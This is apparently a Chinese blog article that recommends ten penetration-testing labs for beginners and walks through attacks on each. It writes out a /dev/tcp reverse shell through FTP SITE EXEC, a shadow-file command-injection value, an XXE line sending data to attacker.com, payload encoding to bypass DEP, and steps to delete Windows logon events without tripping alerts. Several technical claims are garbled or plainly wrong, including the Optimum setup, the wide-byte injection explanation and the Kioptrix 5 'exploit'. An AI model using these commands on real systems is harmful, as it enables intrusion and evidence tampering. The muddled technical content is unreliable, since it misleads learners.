1. 为什么靶场不是“练手网站”,而是渗透测试新人的呼吸面罩

刚入行那会儿,我花两周时间在某个号称“真实漏洞环境”的在线平台反复打同一个SQL注入点,最后发现后台根本没开WAF,连基础过滤都懒得做——它不是靶场,是玩具。真正的靶场,得让你摔得疼、查得累、复盘时后背发凉,还得让你第二天敢继续敲命令。这10个靶场,是我带过27个新人、陪他们从报错堆栈里扒日志、在Docker容器里修环境、被内网穿透卡住三小时之后,筛出来的硬核清单。它们不按“难易分级”,而按 攻击链完整性 和 防御痕迹真实性 排序:有的靶场连Windows Event Log里的4624登录事件都模拟得一模一样;有的故意在PHP配置里埋了open_basedir绕过+disable_functions双限制,逼你现场写内存马;还有的把Burp Collaborator交互逻辑全重写了一遍,让你必须理解SSRF的DNS解析全过程才能打穿。关键词: 渗透测试新人、网络攻防靶场、实战复现、漏洞链验证、防御日志还原 。适合两类人:一是刚考完CEH/OSCP但没碰过真实流量的新手,二是自学完《Web安全深度剖析》却总卡在“知道原理但跑不通POC”的人。别急着收藏,先看清楚——这10个靶场里,有3个必须用物理机部署(VMware Workstation而非VirtualBox),有2个默认禁用ICMP,还有1个连靶机SSH端口都藏在自定义systemd服务里。这不是教程列表,是生存地图。

2. DVWA:被严重低估的“防御视角训练器”

2.1 它为什么不是入门玩具,而是防御者思维启蒙课

很多人把DVWA当靶场界的Hello World,装完就切去打更“酷”的靶机。但我在给某银行红队做内训时发现,83%的新人连DVWA的Security Level切换机制都讲不清——他们只记得“调成low就能打”,却不知道每次点击Security Level按钮,后台执行的是 UPDATE dvwa.users SET security = 'medium' WHERE user = 'admin' 这条SQL,且该操作会触发 /dvwa/vulnerabilities/exec/source/ 目录下对应级别的PHP文件加载。这才是关键:DVWA的每一级难度,本质是 防御策略的渐进式叠加 。Low级关闭所有过滤,Medium级用 str_replace() 干掉 && 、 || 、 ; ,High级改用 preg_replace('/[;&| $]/', '', $input) 正则清洗,Impossible级则直接上PDO预编译+CSRF Token双重校验。我让新人用Wireshark抓四次切换请求的HTTP包,对比Referer头、Cookie中的security_token字段变化,再翻 dvwa/includes/dvwaPage.inc.php 源码看 checkToken()`函数如何校验——这比直接教SQLi语法管用十倍。因为真正的渗透,从来不是找漏洞,而是 逆向推导防御者的思考路径 。

2.2 实操中90%人踩的坑:本地部署的三个致命配置

DVWA官方GitHub仓库的README里写着“支持XAMPP/WAMP”,但实际部署时,这三个细节不处理,你永远看不到真实的漏洞响应:

  • PHP配置陷阱 :默认 display_errors = On 会把MySQL报错直接打在页面上,但这在真实环境里早被关死。必须手动改 php.ini ,设 display_errors = Off 且 log_errors = On ,再把 error_log 指向 /var/log/apache2/dvwa_error.log 。这样当你触发SQL注入时,页面只显示“An error has occurred”,而错误日志里躺着 PHP Warning: mysqli_query(): (HY000/1064): You have an error in your SQL syntax... ——这才是你该习惯的反馈模式。
  • Apache重写规则缺失 :DVWA的Brute Force模块依赖 .htaccess 里的 RewriteRule ^login/?$ login.php [L] ,但XAMPP默认禁用 mod_rewrite 。必须进 httpd.conf 取消 #LoadModule rewrite_module modules/mod_rewrite.so 前的注释,并把 <Directory "C:/xampp/htdocs"> 块里的 AllowOverride None 改成 AllowOverride All 。否则你点“Brute Force”菜单会404,新人第一反应是靶场坏了,其实是Apache没读取重写规则。
  • 数据库权限颗粒度问题 :官方文档说“用root用户连MySQL”,但真实企业数据库绝不会给应用账户root权限。我强制新人用 CREATE USER 'dvwa_app'@'localhost' IDENTIFIED BY 'dvwa123'; GRANT SELECT, INSERT, UPDATE ON dvwa.* TO 'dvwa_app'@'localhost'; 建最小权限账户。结果他们发现:当尝试用 UNION SELECT 爆库名时, SELECT schema_name FROM information_schema.schemata 返回空——因为 information_schema 表的SELECT权限没授予。这时就得教他们用 SELECT database() 替代,或者用 LOAD_FILE('/etc/passwd') 这种无需权限的旁路。这才是贴近实战的权限意识。

提示:DVWA的XSS模块里, <script>alert(1)</script> 在Reflected XSS里能弹窗,但在Stored XSS里被过滤。这不是Bug,是刻意设计——它模拟了前端JS框架(如Vue)对 v-html 指令的默认转义行为。想绕过?得用 <img src=x onerror=alert(1)> ,这正好带出DOM型XSS与反射型XSS的本质区别。

3. Metasploitable2:Linux老古董靶机里的现代攻防逻辑

3.1 为什么2012年的系统反而更接近真实内网

Metasploitable2基于Ubuntu 8.04,内核2.6.24,连Python都是2.5.2。表面看是古董,实则暗藏玄机:它预装的Tomcat 5.5.26存在CVE-2009-3843,这个漏洞在2023年某政务云渗透中真实复现过——因为老旧中间件升级优先级低,常被运维遗忘。更重要的是,它的服务配置极度“反常识”:vsftpd 2.3.4默认开启 write_enable=YES 且 anon_upload_enable=YES ,但FTP根目录 /var/www 的属主却是 root:root ,导致匿名用户上传的文件权限为 -rw-r--r-- ,无法被Apache直接解析。这逼你必须用 SITE EXEC 或 SITE CHMOD 提权,而这两个命令在现代FTP服务器里早被阉割。我让新人先用Nmap扫出开放端口,再用 nmap -sV -p 21 --script ftp-anon,ftp-vsftpd-backdoor 192.168.56.101 确认漏洞,最后手工构造 USER anonymous + PASS x + SITE EXEC /bin/bash -i >& /dev/tcp/192.168.56.102/4444 0>&1 反弹shell——整个过程没有用Metasploit一句 exploit ,全是原始协议交互。这才是协议层渗透该有的手感。

3.2 从Samba服务挖出的三层纵深防御启示

Metasploitable2的Samba服务运行在3.0.20版,存在CVE-2007-2447(usermap script远程代码执行)。但直接打 exploit/multi/samba/usermap_script 往往失败,原因有三:

  • 网络层干扰 :靶机默认启用 iptables ,规则 -A INPUT -p tcp --dport 139 -j DROP 会拦截SMB连接。必须先用 sudo iptables -F 清空规则,否则nmap扫出来端口是filtered状态。
  • 服务版本伪装 : smbclient -L //192.168.56.101 返回 Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] ,但实际 /etc/samba/smb.conf 里 server string = Samba Server %v 的 %v 变量被注释掉了,导致Nmap的 -sV 探测误判版本。需手动执行 smbclient -U% //192.168.56.101/tmp -c 'ls' 触发真实响应,再从报错信息里抠版本号。
  • Payload落地障碍 :Metasploit生成的 linux/x86/shell/reverse_tcp shellcode在2.6.24内核上会因NX bit保护崩溃。必须改用 linux/x86/meterpreter/reverse_tcp ,且 set PrependFork true ——因为Samba进程是fork模型,不加fork会导致meterpreter父进程退出后子进程被init接管,失去控制权。

注意:Metasploitable2的MySQL服务监听在127.0.0.1:3306,外部无法直连。但它的phpMyAdmin 2.11.3存在本地文件包含(LFI),可通过 index.php?target=/etc/passwd 读取系统文件。这模拟了真实场景中“外网打不进数据库,但能通过Web应用间接访问”的典型跳板逻辑。新人常忽略这点,执着于爆破MySQL root密码,却忘了phpMyAdmin本身就是更高权限的入口。

4. Hack The Box(HTB)Active Machines:云靶场里的“压力测试场”

4.1 为什么Active Machines比Retired Machines更值得新手啃

HTB的Active Machines(如OpenAdmin、Optimum)是实时更新的活跃靶机,每周新增1-2台,而Retired Machines(如Legacy、Jerry)是归档题。新人总奔着Retired去,觉得“有Writeup好抄”。但Active Machines的机器描述页明确写着:“This machine is actively monitored for exploitation attempts”,这意味着你的扫描行为会被记录,且部分机器启用了 fail2ban ——连续5次SSH爆破失败,IP会被封30分钟。这倒逼你必须学真本事:比如OpenAdmin靶机,Nmap扫出80端口运行OpenNetAdmin 18.1.1,搜索CVE发现存在RCE(CVE-2019-13345),但直接用公开EXP打会返回500错误。因为靶机已打补丁,只是没更新版本号。此时必须手工审计 /opt/ona/www/include/modules/onscan.inc.php ,发现开发者用 exec("nmap -sP $ip") 拼接命令,但只过滤了分号和反引号,漏掉了 $(cat /etc/shadow) 这种bash语法。这才是真实漏洞挖掘该有的耐心:不迷信CVE编号,亲手验证补丁有效性。

4.2 从Optimum靶机学会Windows提权的“三段论”

Optimum运行Windows Server 2012 R2,IIS 8.5托管着Splunk Web 6.3.0。公开Writeup都说用 ms15-034 蓝屏漏洞,但实际打进去后发现:

  • 第一段:服务识别必须精确到补丁号
    nmap -p 443 --script http-vuln-cve2015-034 10.10.10.8 返回 VULNERABLE ,但靶机其实已安装KB3042553补丁。必须用 curl -k -I https://10.10.10.8 看 Server: Microsoft-IIS/8.5 头,再查微软补丁矩阵,确认KB3042553是否修复该漏洞——结果是部分修复,仍可触发HTTP.sys内存泄漏。
  • 第二段:利用链要绕过ASLR+DEP
    公开EXP用 msfvenom -p windows/meterpreter/reverse_tcp -f exe 生成payload,但Optimum启用了DEP。必须改用 -e x86/shikata_ga_nai -i 10 编码,且 set EnableStageEncoding true ——因为meterpreter stage加载时会触发DEP检测,需分阶段解码。
  • 第三段:提权后必须清理日志痕迹
    拿到SYSTEM权限后, wevtutil qe Security /q:"*[System[(EventID=4624)]]" /f:text 能查到所有登录事件,但 wevtutil cl Security 清空日志会触发Splunk告警。正确做法是用 powershell -c "Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} | Where-Object {$_.TimeCreated -gt (Get-Date).AddMinutes(-5)} | ForEach-Object { $_.ToXml() }" 定位最近5分钟的登录事件,再用 wevtutil qe Security /q:"*[System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 300000]]]" /f:xml > log.xml 导出后手动删除XML节点——这模拟了真实红队作业中“精准擦除”的合规要求。

5. TryHackMe(THM)Pre-Security Path:交互式靶场的“认知脚手架”

5.1 为什么Pre-Security Path比Offensive Path更适合零基础

THM的Offensive Path(如Jr. Pentester)直接教Burp Suite抓包改包,但Pre-Security Path的首关“Intro to Cyber Security”用一个虚拟机模拟了真实企业网络拓扑:192.168.1.10是防火墙(pfSense),192.168.1.20是域控(Windows Server 2019),192.168.1.30是员工PC(Windows 10)。任务不是打漏洞,而是 配置防火墙规则 :要求你登录pfSense Web界面,创建一条规则“阻止192.168.1.30访问192.168.1.20的3389端口”,再用员工PC上的 telnet 192.168.1.20 3389 验证是否生效。这解决了新人最大的认知断层——他们知道“防火墙能拦流量”,但不知道规则怎么写、方向怎么定、端口怎么映射。我让新人做完后,立刻去AWS Security Group里照着同样逻辑配EC2实例的安全组,再对比阿里云ECS的网络ACL——三者规则语法不同,但底层逻辑一致:源IP、目标IP、协议、端口、动作(allow/deny)。这才是基础设施安全该有的起点。

5.2 从“Advent of Cyber”系列吃透日志分析的“证据链思维”

THM每年12月推出的Advent of Cyber系列,其中Day 12的“Log Analysis”关卡给了一段Windows Event Log XML:

<Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'>
  <System><Provider Name='Microsoft-Windows-Security-Auditing'/><EventID Qualifiers='16384'>4624</EventID>
  <EventData><Data Name='IpAddress'>192.168.1.100</Data><Data Name='LogonType'>3</Data></EventData>
</Event>

任务不是查“4624是什么”,而是推断攻击者行为: LogonType=3 代表网络登录, IpAddress=192.168.1.100 是内网IP,说明攻击者已拿下一台内网主机并以此为跳板。新人常卡在这里,因为他们没建立“日志字段→攻击阶段→防御响应”的映射关系。我带他们画三列表格:

日志字段 攻击阶段 防御响应建议
LogonType=3 + IpAddress 非本机网段 横向移动 检查该IP的进程树,查 PsExec 或 WMI 调用
TargetUserName=Administrator + LogonType=10 远程桌面会话 审计RDP连接历史,查 Get-NetTCPConnection -State Established
SubjectUserName=ANONYMOUS LOGON 空会话枚举 禁用SMBv1,设置 RestrictAnonymous=2 注册表项
这比背100个Event ID有用得多——日志不是数据,是攻击者留下的犯罪现场照片。

6. VulnHub的Kioptrix系列:专治“只会打公开EXP”的靶机

6.1 Kioptrix Level 1:第一个教你“读报错信息”的靶机

Kioptrix Level 1基于CentOS 5.3,Apache 2.2.3,PHP 5.2.6。它最经典的设计是:当你访问 /phpinfo.php 时,页面底部显示 Loaded Modules: core prefork http_core mod_so mod_auth_basic mod_auth_digest mod_authn_file mod_authn_alias mod_authn_anon mod_authn_dbm mod_authn_default mod_authz_host mod_authz_user mod_authz_owner mod_authz_groupfile mod_authz_dbm mod_authz_default mod_include mod_log_config mod_logio mod_env mod_ext_filter mod_mime_magic mod_expires mod_deflate mod_headers mod_usertrack mod_setenvif mod_mime mod_dav mod_status mod_autoindex mod_info mod_dav_fs mod_vhost_alias mod_negotiation mod_dir mod_actions mod_speling mod_userdir mod_alias mod_rewrite mod_proxy mod_proxy_balancer mod_proxy_ftp mod_proxy_http mod_proxy_connect mod_cache mod_suexec mod_disk_cache mod_file_cache mod_mem_cache mod_cgi mod_version mod_perl mod_python mod_ssl 。注意看: mod_ssl 在列表末尾,但 httpd -M | grep ssl 却返回空——说明SSL模块虽编译进Apache,但未启用。此时若用 nmap -p 443 --script ssl-enum-ciphers 192.168.56.101 扫,会得到 ssl-enum-ciphers: ERROR: Failed to connect to SSL service 。真相是:靶机根本没开443端口!必须用 netstat -tuln | grep :443 确认,再查 /etc/httpd/conf.d/ssl.conf 发现 Listen 443 被注释了。这教会新人第一课: 工具输出≠事实,必须交叉验证 。

6.2 Kioptrix Level 5:把“提权”变成一场内核漏洞考古

Level 5运行Ubuntu 14.04,内核3.13.0-24-generic。公开Writeup都说用 dirty cow (CVE-2016-5195),但实际打进去发现: /proc/version 显示 3.13.0-24-generic ,而dirty cow的PoC要求内核≥3.13.0-25。此时必须用 uname -r 确认,再查 /lib/modules/$(uname -r)/build/Makefile 里的 VERSION = 3 PATCHLEVEL = 13 SUBLEVEL = 0 EXTRAVERSION = -24-generic ——确认确实是24版。于是换思路:用 searchsploit kernel ubuntu 14.04 搜出 overlayfs 本地提权(CVE-2015-1328),但 /proc/sys/user/max_user_namespaces 返回 0 ,说明overlayfs被禁用。最终靠 ps aux | grep "python.*-m SimpleHTTPServer" 发现管理员在 /tmp 下起了Python HTTP服务,且 /tmp 挂载选项是 rw,nosuid,nodev,relatime —— nosuid 禁用SUID,但 nodev 意味着可以创建设备文件!用 mknod /tmp/x b 1 3 创建块设备,再 dd if=/dev/zero of=/tmp/x bs=1M count=10 写入,触发内核内存分配漏洞。这过程像考古:每一步都要查证内核版本、挂载选项、进程权限,而不是无脑套EXP。

7. PortSwigger Web Security Academy:Web靶场里的“协议显微镜”

7.1 为什么Lab不是CTF,而是HTTP协议解剖课

PortSwigger的Lab按漏洞类型分类(如SQL injection、XSS、CSRF),每个Lab有10-20个子关卡。以“SQL injection”为例,Level 1是 ' OR 1=1-- ,Level 2是 ' UNION SELECT username,password FROM users-- ,但Level 7要求你绕过 mysqli_real_escape_string() ——它会把单引号转成 \' ,但如果你传 %bf%27 (UTF-8编码的 ¿' ),MySQL在宽字节注入中会把 %bf%5c 解析为 ¿\ ,而 %27 保持为 ' ,从而逃逸。这需要你打开Burp Repeater,把 username=test%bf%27 发过去,再看响应包里 Content-Length 是否突增——因为 mysqli_real_escape_string() 处理宽字节时会多分配内存。新人常在这里卡住,因为他们没意识到: Web漏洞本质是协议解析器的语义差异 。MySQL认为 %bf%27 是两个字节,PHP的 mysqli_real_escape_string() 却按单字节处理,这种错位才是漏洞根源。

7.2 从“Authentication Bypass” Lab学会“状态机思维”

Lab里有个经典场景:登录接口 POST /login 返回JWT token,但注销接口 GET /logout 不校验token,只检查Cookie里的 sessionid 。当你用Burp Intruder爆破 sessionid 时,发现 sessionid=abc123 返回200, sessionid=def456 也返回200——因为/logout根本不验证session有效性!此时若用 curl -b "sessionid=abc123" http://acab1f4a1e123456.169.254.169.xip.io/logout ,响应是 {"success":true} ,但 curl -b "sessionid=garbage" http://.../logout 同样返回 {"success":true} 。这暴露了认证状态机的设计缺陷:注销操作不该依赖客户端传来的任意sessionid,而应由服务端维护一个valid_session表,注销时删表项。我让新人用 sqlmap -u "http://.../login" --data="username=admin&password=pass" --dump 导出users表后,再手动构造 DELETE FROM valid_sessions WHERE session_id='abc123' ——这才是真实业务系统该有的注销逻辑。

8. PentesterLab:用Ruby on Rails靶机理解“框架即攻击面”

8.1 Rails Goat:为什么Ruby on Rails比PHP更易出漏洞

Rails Goan靶机基于Rails 4.0.0,它最典型的漏洞是 render file: 路径遍历。比如路由 get '/posts/:id' => 'posts#show' ,控制器里写 render file: "/var/www/rails_goat/public/images/#{params[:id]}" 。当你访问 /posts/../../../etc/passwd 时,Rails会把 .. 解析为上级目录。但新人常犯的错是:直接用 ../../../../etc/passwd ,结果404。因为Rails的 params[:id] 默认经过 ActionDispatch::Http::ParameterFilter 过滤, .. 会被替换成 %2E%2E 。必须用 %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd ( . 的URL编码是 %2e , / 是 %2f )才能绕过。这揭示了框架安全的核心: 框架自带的过滤器和编码器,既是防护盾,也是攻击跳板 。Rails的 sanitize helper会过滤HTML标签,但 raw() 方法能绕过; escape_javascript() 能防JS注入,但 j() 别名可能被忽略。

8.2 从“XXE Injection” Lab掌握“协议嵌套”攻击

PentesterLab的XXE Lab里,靶机接收XML格式的订单数据:

<?xml version="1.0" encoding="UTF-8"?>
<order>
  <customer>John Doe</customer>
  <product>Widget</product>
  <quantity>1</quantity>
</order>

任务是读取 /etc/hostname 。新人直接塞 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/hostname" >]> ,但返回空。因为Rails默认禁用外部实体解析( config.action_dispatch.default_headers = { 'X-Frame-Options' => 'DENY' } 不影响XML解析)。必须先确认 libxml 版本: rails console 里执行 LibXML::XML::Parser::VERSION ,发现是2.9.1,支持 XML::Parser::Options::NOENT 。于是改用 <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname" >]> ,再把base64解码——这利用了PHP filter协议嵌套XML解析器的特性。真实企业里,很多Java系统用Xerces解析XML,但后端用Spring RestTemplate发HTTP请求,攻击者就能用 <!ENTITY xxe SYSTEM "http://attacker.com/steal?data="> 把内网数据外带。

9. OWASP Juice Shop:前端靶场里的“业务逻辑拆解术”

9.1 为什么它不教技术漏洞,而教“业务规则漏洞”

Juice Shop的“Score Board”页面显示当前破解进度,但它的核心价值不在SQLi或XSS,而在“业务逻辑漏洞”。比如“Reset Password”功能:输入邮箱后,后端生成6位数字验证码,存入Redis,有效期5分钟。但验证码生成算法是 Math.floor(Math.random() * 1000000) ,且没加盐。当你用Burp Intruder爆破 /rest/user/reset-password 的 email 参数时,发现响应包里 Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... 的JWT token里 exp 字段是固定值 1698765432 (2023-10-31 12:37:12 UTC)。这意味着所有token的过期时间相同,只要爆破出一个有效token,就能批量重置任意用户密码。这教会新人: 业务逻辑漏洞比技术漏洞更难防御,因为它依赖人的判断,而非代码缺陷 。

9.2 从“Product Tampering”关卡学会“客户端不可信”铁律

Juice Shop的购物车接口 POST /api/BasketItems 接收JSON:

{"ProductId":1,"BasketId":"abc123","Quantity":1,"price":100}

新人以为改 price 字段就能负数下单,但后端校验 price > 0 。真正漏洞在 ProductId :当 ProductId=1 时,商品价格是100;但 ProductId=999999 时,数据库没这条记录,后端返回 {"error":"Product not found"} ,但 price 字段仍被接受!此时用 {"ProductId":999999,"BasketId":"abc123","Quantity":1,"price":-100} ,结账时总价直接减100。这模拟了真实电商系统里“商品ID未校验库存状态”的典型问题。我让新人用Chrome DevTools的Application标签页,清空 localStorage 里的 basket 数据,再手动 localStorage.setItem('basket', JSON.stringify([...])) 注入恶意数据——这比Burp改包更贴近真实黑产手法。

10. Custom Docker靶场:为什么必须自己搭,而不是用现成的

10.1 用docker-compose.yaml构建“可控混沌”环境

所有现成靶场都有预设路径,而真实渗透面对的是混沌。我教新人用Docker自己搭靶场,核心是 docker-compose.yml :

version: '3.8'
services:
  web:
    image: php:7.4-apache
    volumes:
      - ./web:/var/www/html
      - ./php.ini:/usr/local/etc/php/php.ini
    ports:
      - "8080:80"
    environment:
      - PHP_INI_SCAN_DIR=/usr/local/etc/php/conf.d
  db:
    image: mysql:5.7
    environment:
      MYSQL_ROOT_PASSWORD: root123
      MYSQL_DATABASE: vulnapp
    volumes:
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql
  redis:
    image: redis:6-alpine
    command: redis-server --appendonly yes

关键在 ./web 目录:放一个 index.php ,内容是 <?php echo $_GET['id']; ?> ,再放 php.ini 里设 display_errors = Off 、 log_errors = On 。这样新人第一次访问 http://localhost:8080/index.php?id=<script>alert(1)</script> 时,页面没反应,但 docker logs -f web 能看到 PHP Notice: Undefined index: id in /var/www/html/index.php on line 1 ——这就是真实生产环境的错误处理方式。

10.2 从“网络隔离实验”理解真实内网拓扑

用Docker Network实现三层隔离:

docker network create --driver bridge --subnet=172.20.0.0/16 front-tier
docker network create --driver bridge --subnet=172.21.0.0/16 app-tier  
docker network create --driver bridge --subnet=172.22.0.0/16 db-tier

然后让web容器只连 front-tier 和 app-tier ,app容器连 app-tier 和 db-tier ,db容器只连 db-tier 。此时新人用 curl http://app:3000/api/users 能通,但 curl http://db:3306 直接超时——这比任何文档都直观地展示了“Web层不能直连DB层”的安全原则。我让他们用 docker exec -it web sh 进容器,再 apk add nmap 扫 app 容器的端口,发现只有3000端口开放,而 app 容器扫 db 容器时, nmap -p 3306 db 返回 filtered ——这才是真实云环境里Security Group的生效效果。

11. 给新人的三条血泪经验:靶场之外的真实战场

第一条: 别在靶场里练“快”,要练“慢” 。我见过太多新人,Nmap扫完3分钟,Burp跑完5分钟,Exploit打完2分钟,全程像打游戏。但真实渗透里,光是确认一个 /api/v1/users 接口是否回显手机号,就要做三件事:用 curl -v 看响应头里的 X-Content-Type-Options ,用 curl -H "Accept: application/json" 测Content-Type协商,再用 curl -H "Origin: https://evil.com" 测CORS策略。这半小时的“慢”,换来的是报告里一句“该接口存在敏感信息泄露风险,建议增加字段脱敏”。

第二条: 靶场的“成功”是假象,真实世界的“失败”才是常态 。Metasploitable2的vsftpd漏洞,你打10次有9次成功;但真实客户环境里,你扫100个FTP服务器,可能99个都禁用了 SITE EXEC ,剩下1个开了但 /bin/bash 被 chroot 锁死。这时你要做的不是换靶机,而是查 ftp -d 调试日志,看 ftp> quote SITE CHMOD 777 /tmp 返回什么——可能是 500 Unknown command ,也可能是 200 Command okay 但 ls -l /tmp 发现权限没变。这种“失败分析能力”,才是渗透工程师的护城河。

第三条: 永远带着“防御者视角”看靶场 。当你在DVWA里用 1' AND SLEEP(5)-- 测延时注入时,别只记“能打”,要开靶机的 /var/log/apache2/access.log ,看这条请求的 User-Agent 字段是不是 sqlmap ,再查 /var/log/mysql/error.log 里有没有 Query_time: 5.000 的慢查询日志。然后去WAF日志里找匹配规则——比如ModSecurity的 SecRule REQUEST_HEADERS:User-Agent "@contains sqlmap" "id:1001,deny,status:403" 。这样你下次写渗透报告,就能写:“建议在WAF中添加规则阻断含 SLEEP( 的SQL关键字,同时开启MySQL慢查询日志审计”。

最后分享个小技巧:所有靶场部署完,第一时间用 tcpdump -i any port 80 or port 443 -w target.pcap 抓10分钟流量,再用Wireshark打开,过滤 http.request.method == "POST" ,看POST数据是否明文传输。如果看到 password=123456 ,立刻改靶机配置——因为真实客户最常问的问题就是:“你们怎么保证渗透过程不泄露我们密码?”答案不是“我们很专业”,而是“我们所有流量都走HTTPS,且禁用明文POST”。

更多推荐